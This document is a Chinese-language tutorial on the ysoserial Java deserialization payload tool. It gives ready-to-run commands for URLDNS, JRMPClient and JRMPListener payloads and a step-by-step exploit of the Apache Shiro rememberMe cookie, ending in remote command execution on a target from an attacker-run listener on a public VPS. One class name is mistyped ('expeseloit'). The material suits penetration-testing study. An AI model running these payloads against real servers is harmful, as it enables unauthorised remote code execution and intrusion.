ysoserial是一款用于生成 利用不安全的Java对象反序列化 的有效负载的概念验证工具。
项目地址
https://github.com/frohoff/ysoserial
主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务。
官方介绍中的基本用法:
java -jar ysoserial.jar [payload] '[command]'
这种是运行ysoserial中的主类函数:
#发起dnslog请求的payload
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn/
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn/ > /tmp/urldns.ser
#连接1.1.1.1:19999JRMP服务的payload
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser
最常见用法,即运行ysoserial中的exploit类,一般用于开启交互服务:
exploit类有哪些可以在
ysoserial-all\ysoserial\exploit
目录下看到
#1099端口启动一个JRMP监听,等待连接 , 然后执行 cc1链 whoami
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'whoami'
这里再提一下,java命令的
-cp
参数和-classpath
参数是一样的,即指定类运行所依赖类路径、通常是类库和jar包。而java命令的-jar
参数则直接执行jar包里面META-INF\MANIFEST.MF
文件中指定的Main-Class。
JRMP(Java Remote Method Protocol)是Java远程方法调用协议的缩写。它是Java中用于实现分布式对象通信的一种协议。
在Java中,可以通过远程方法调用(Remote Method Invocation,RMI)来实现不同Java虚拟机(JVM)之间的通信。JRMP是RMI中的默认协议,它定义了在Java平台上进行远程方法调用所使用的协议规范。
JRMP允许在不同的JVM之间进行对象的远程调用,使得分布式系统中的Java对象可以通过网络进行交互。通过JRMP,客户端可以调用远程服务器上的方法,就像调用本地对象的方法一样。JRMP负责处理网络通信、对象序列化和反序列化等细节,以实现透明的远程方法调用。
要使用JRMP进行远程方法调用,需要定义接口、实现远程对象、绑定远程对象到特定的端口,并在客户端和服务器端分别设置相应的配置。
使用 ysoserial,生成一个 URLDNS 序列化 payload:
java -jar ysoserial.jar URLDNS
http://urldns.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net > /tmp/urldns.ser
用 shiro 编码脚本将序列化 payload 进行编码,得到 Cookie 字符串:
java -jar shiro-exp.jar encrypt /tmp/urldns.ser
再将上面得到的 Cookie 字符串作为 rememberMe Cookie 的值,发送到目标网站,如果 cipher key 正确,则目标会成功反序列化我们发送的 payload,Burp Collaborator client 将收到 dns 解析记录,说明目标网站存在 shiro 反序列化漏洞:
攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:
java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"
然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser
再用 shiro 编码脚本对 JRMPClient payload 进行编码:
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser
将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录。